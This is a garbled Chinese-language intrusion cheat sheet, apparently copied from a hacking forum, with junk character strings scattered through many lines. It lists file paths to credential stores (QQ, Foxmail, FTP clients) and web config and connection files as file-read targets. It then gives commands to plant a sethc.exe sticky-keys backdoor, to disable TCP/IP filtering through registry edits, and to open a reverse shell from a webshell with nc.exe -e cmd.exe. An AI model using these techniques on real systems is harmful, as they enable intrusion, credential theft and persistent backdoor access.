1 T* i# O) r8 g; L' N/ [- m- X3 nc:\Program Files\Apache Software Foundation\Tomcat 6.0\logs\isapi_redirect.log
c:\Apache2\Apache2\bin\Apache.exe
c:\Apache2\bin\Apache.exe
c:\Apache2\php\license.txt
  g* B5 z7 m/ B% g1 fC:\Program Files\Apache Group\Apache2\bin\Apache.exe
9 Y6 H# N0 `  n3 U/usr/local/tomcat5527/bin/version.sh
4 z- H2 b3 Y5 n' t( t2 h/usr/share/tomcat6/bin/startup.sh
/usr/tomcat6/bin/startup.sh
c:\Program Files\QQ2007\qq.exe
c:\Program Files\Tencent\qq\User.db
( B- L% ?" W% E0 Wc:\Program Files\Tencent\qq\qq.exe
c:\Program Files\Tencent\qq\bin\qq.exe
/ c0 W6 }5 U' c: U; l3 mc:\Program Files\Tencent\qq2009\qq.exe
c:\Program Files\Tencent\qq2008\qq.exe
6 B9 f/ f. K2 d9 ]! Xc:\Program Files\Tencent\qq2010\bin\qq.exe
c:\Program Files\Tencent\qq\Users\All Users\Registry.db
9 b( |- D9 e; }5 x/ ^C:\Program Files\Tencent\TM\TMDlls\QQZip.dll
9 A: i4 A5 e3 v$ V) i- Rc:\Program Files\Tencent\Tm\Bin\Txplatform.exe
c:\Program Files\Tencent\RTXServer\AppConfig.xml
6 Z. R$ }4 V$ P9 oC:\Program Files\Foxmal\Foxmail.exe
' J. u' i8 N( }) F8 C7 \C:\Program Files\Foxmal\accounts.cfg
' I  z3 s1 o/ H1 I+ U$ J0 W# BC:\Program Files\tencent\Foxmal\Foxmail.exe
4 O1 i/ @8 m# S: D# vC:\Program Files\tencent\Foxmal\accounts.cfg
' x$ n* _! p1 b5 r9 OC:\Program Files\LeapFTP 3.0\LeapFTP.exe
C:\Program Files\LeapFTP\LeapFTP.exe
c:\Program Files\GlobalSCAPE\CuteFTP Pro\cftppro.exe
c:\Program Files\GlobalSCAPE\CuteFTP Pro\notes.txt
9 Q* Q* i' f# s1 G5 YC:\Program Files\FlashFXP\FlashFXP.ini
C:\Program Files\FlashFXP\flashfxp.exe
! A3 P5 M4 h3 h) yc:\Program Files\Oracle\bin\regsvr32.exe
c:\Program Files\腾讯游戏\QQGAME\readme.txt
c:\Program Files\tencent\腾讯游戏\QQGAME\readme.txt
9 h* o# A- a2 u3 {( vc:\Program Files\tencent\QQGAME\readme.txt
C:\Program Files\StormII\Storm.exe
1 g, ]3 y* y: [1 y
3.网站相对路径:
6 m% q/ ~5 o$ T: P4 N0 {
6 y  w; X0 p' B( u7 ~( W/config.php
../../config.php
../config.php
5 h% C7 o4 ?) Z0 T$ d6 ]& N../../../config.php
( f8 _, J! ~6 ?  J" V8 k* N$ j/config.inc.php
, p9 L- ?7 t) m" k5 Q./config.inc.php
../../config.inc.php
../config.inc.php
. g0 A) V: e3 g' X' W% ^../../../config.inc.php
, W& }# T7 o0 m! }' h/conn.php
* x9 C0 O6 g  h% |$ `: I./conn.php
$ ]0 y5 n' l% r9 l; m4 l. W../../conn.php
: e. [- {$ A/ B$ X../conn.php
../../../conn.php
/conn.asp
! C, z) X$ N- A./conn.asp
../../conn.asp
../conn.asp
../../../conn.asp
! w9 [0 F' L  c6 F" Y/config.inc.php
./config.inc.php
../../config.inc.php
../config.inc.php
8 Q+ e( z/ m; C../../../config.inc.php
: p7 z( L' j* [* {# L* \/config/config.php
../../config/config.php
5 e4 t2 f% L3 [4 _  j+ d1 c../config/config.php
../../../config/config.php
/config/config.inc.php
./config/config.inc.php
3 F! _+ \6 O1 q../../config/config.inc.php
../config/config.inc.php
; C: {# r+ d. u$ ^# C../../../config/config.inc.php
/config/conn.php
./config/conn.php
/ r0 y9 s$ O# `: @2 A) K* |" ?../../config/conn.php
% j1 ]% U* K1 z9 c' c../config/conn.php
../../../config/conn.php
6 V- O7 [6 A6 }$ k  G4 b( p/config/conn.asp
8 O5 y+ Q% m7 H2 Z2 K; x$ o./config/conn.asp
$ ^  b# C: t1 l  v8 m. A; r../../config/conn.asp
../config/conn.asp
../../../config/conn.asp
- Q6 B1 [" Y8 V5 D! r6 H! B/config/config.inc.php
./config/config.inc.php
0 e6 t5 ^/ ?4 p: v2 e- b' a../../config/config.inc.php
../config/config.inc.php
7 e; [# F# v, x( t: b# h+ Y8 r6 {../../../config/config.inc.php
2 J; f2 |& M$ U1 F, |/data/config.php
  B0 b' H6 ?5 L5 f# F: b../../data/config.php
* K7 o7 [& B4 _  Q2 m8 [../data/config.php
../../../data/config.php
0 a: f2 q5 {% `3 h/data/config.inc.php
./data/config.inc.php
../../data/config.inc.php
1 e7 |8 ?; k9 ~0 K" A../data/config.inc.php
. y6 n! x8 T# [: c# s../../../data/config.inc.php
/data/conn.php
./data/conn.php
7 u0 d3 r/ }0 U' p" k( B6 z( s../../data/conn.php
$ o* R7 h3 I( |../data/conn.php
1 y( a) w$ b6 S6 u4 S! o../../../data/conn.php
/data/conn.asp
./data/conn.asp
../../data/conn.asp
6 K/ n  }. a1 t../data/conn.asp
../../../data/conn.asp
/data/config.inc.php
) Z) n: a! }7 G  {. T./data/config.inc.php
. |8 C# T# e  I) h7 Z+ y../../data/config.inc.php
7 c5 T4 _+ e5 T( ]( n../data/config.inc.php
, p3 ^, W. w* p../../../data/config.inc.php
+ [) W" a- ~5 o/ x# D/include/config.php
# @/ s+ D: X! O' N../../include/config.php
../include/config.php
5 l/ W5 A- U7 U' s5 Q2 C1 d" W../../../include/config.php
/include/config.inc.php
, ?' o8 M1 x/ ?. U./include/config.inc.php
$ g2 J# b/ L8 _5 P/ ?../../include/config.inc.php
+ B6 d4 n9 v1 B- {../include/config.inc.php
7 K/ F$ C6 @. e0 {0 [../../../include/config.inc.php
7 ?2 @5 r5 ~$ X2 k  z% g/include/conn.php
! }/ S3 L( B0 y: l; J. M# P" g8 F./include/conn.php
../../include/conn.php
../include/conn.php
../../../include/conn.php
/include/conn.asp
; A* b/ R2 M, B6 O8 q' u' S./include/conn.asp
../../include/conn.asp
$ W3 Y" K! O# D6 p5 F" u0 V../include/conn.asp
../../../include/conn.asp
/include/config.inc.php
./include/config.inc.php
; N8 U; O! `  p1 [4 Y../../include/config.inc.php
../include/config.inc.php
../../../include/config.inc.php
- b9 ~# @9 H4 M( P/inc/config.php
1 Q0 H1 \% D. D6 D' T../../inc/config.php
../inc/config.php
7 v8 J" S* e1 m' ?# l2 J" _../../../inc/config.php
/inc/config.inc.php
./inc/config.inc.php
3 a7 Z- x) z: l* p../../inc/config.inc.php
+ U5 A1 O0 Q2 R* a../inc/config.inc.php
/ [' D7 l* _8 K, H8 v../../../inc/config.inc.php
: W7 _# `' S* f- [' d/inc/conn.php
8 @0 q5 o& a: V( j& R./inc/conn.php
. x/ {% `, m* r# T5 N0 a, ~../../inc/conn.php
../inc/conn.php
../../../inc/conn.php
/inc/conn.asp
./inc/conn.asp
../../inc/conn.asp
3 s7 r* H* w" v/ j7 [../inc/conn.asp
../../../inc/conn.asp
4 j4 o9 [5 C  P% x/inc/config.inc.php
./inc/config.inc.php
../../inc/config.inc.php
7 r$ @: a$ z6 y7 U../inc/config.inc.php
7 S6 C6 `0 b  k- j6 J/ \7 K$ Q../../../inc/config.inc.php
0 e6 B( E+ Y* s4 Y& y  B/index.php
& |8 N! \( l, {9 ^9 c./index.php
3 }' m+ l) P8 S+ p" v4 o../../index.php
+ v1 m( f2 V* o5 q5 }- G" E../index.php
5 S% b' r+ x. R# g5 K+ |0 K8 [$ H# q$ c../../../index.php
/index.asp
; B6 Y( ?3 s9 j4 v./index.asp
& f- _6 ^) V& q' ]& o# v" q$ Q../../index.asp
; X: r( a$ }4 C! ~4 U../index.asp
../../../index.asp
( M/ Z  S: W6 {( F: }$ s+ \替换SHIFT后门
; y$ s; f' [4 X; e/ ]# u. R　attrib c:\windows\system32\sethc.exe -h -r -s
+ P) [# @6 J$ S$ ], M: |
8 e0 b( z5 [0 h4 g# x9 ?5 G) P　　attrib c:\windows\system32\dllcache\sethc.exe -h -r -s
- o& ^1 n0 m* A8 S7 G  M, G% z* O
# c0 w. a5 S! h3 |& R5 ?　　del c:\windows\system32\sethc.exe
# w/ C9 h$ ~/ g& ~: M( A! J
; b; a3 ^# c& _9 y) T　　copy c:\windows\explorer.exe c:\windows\system32\sethc.exe
. g5 A* Q& ]% n# \; I- r8 m
' v2 b( g9 @$ k! f& \5 c/ F7 c　　copy c:\windows\system32\sethc.exe c:\windows\system32\dllcache\sethc.exe

, r2 M! J0 M* ~/ L% q# E7 J, ]　　attrib c:\windows\system32\sethc.exe +h +r +s

　　attrib c:\windows\system32\dllcache\sethc.exe +h +r +s
8 Q* P1 Z$ O9 }- Y- r7 f" M去除TCPIP筛选
TCP/IP筛选在注册表里有三处，分别是：
2 q  ?" f/ ^4 i$ S) `HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\Tcpip
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet002\Services\Tcpip
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip

- J/ d6 J, G* M. A* l分别用
. E- C6 h& t6 A# B  K% R6 Aregedit -e D:\a.reg HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip
regedit -e D:\b.reg HKEY_LOCAL_MACHINE\SYSTEM\ControlSet002\Services\Tcpip
( c; `$ S9 k! @# n5 u) x% [* A: eregedit -e D:\c.reg HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip
" D  M& J* \6 O命令来导出注册表项
" F5 a/ ~8 r2 z* J; p! N7 Z
然后把 三个文件里的EnableSecurityFilters"=dword:00000001，改成EnableSecurityFilters"=dword:00000000

: M8 I0 Z& ]* J+ t" g2 s再将以上三个文件分别用
regedit -s D:\a.reg
. e. U! ?" K% f2 Qregedit -s D:\b.reg
regedit -s D:\c.reg
导入注册表即可
' U* `* E. f; }0 I" z. Z8 Q
webshell提权小技巧
+ |; x$ b/ _! k# M% hcmd路径:
c:\windows\temp\cmd.exe
nc也在同目录下
  I" C* c) ~/ t# \例如反弹cmdshell：
. \. K% X" z0 b- Y. R, H"c:\windows\temp\nc.exe -vv ip 999 -e c:\windows\temp\cmd.exe"
3 w% a, O+ H; z" x* {, Z通常都不会成功。

而直接在 cmd路径上 输入 c:\windows\temp\nc.exe
& Q+ `: W, z0 }  N7 b0 T) u命令输入   -vv ip 999 -e c:\windows\temp\cmd.exe
! Y( H/ N4 i/ Y# p& T9 r0 J却能成功。。
6 T- }) i1 C( K5 e# R# Z" Y这个不是重点
3 G, l/ Z1 x* Y4 p9 A1 M6 M我们通常 执行 pr.exe 或 Churrasco.exe 时 有时候也需要 按照上面的 方法才能成功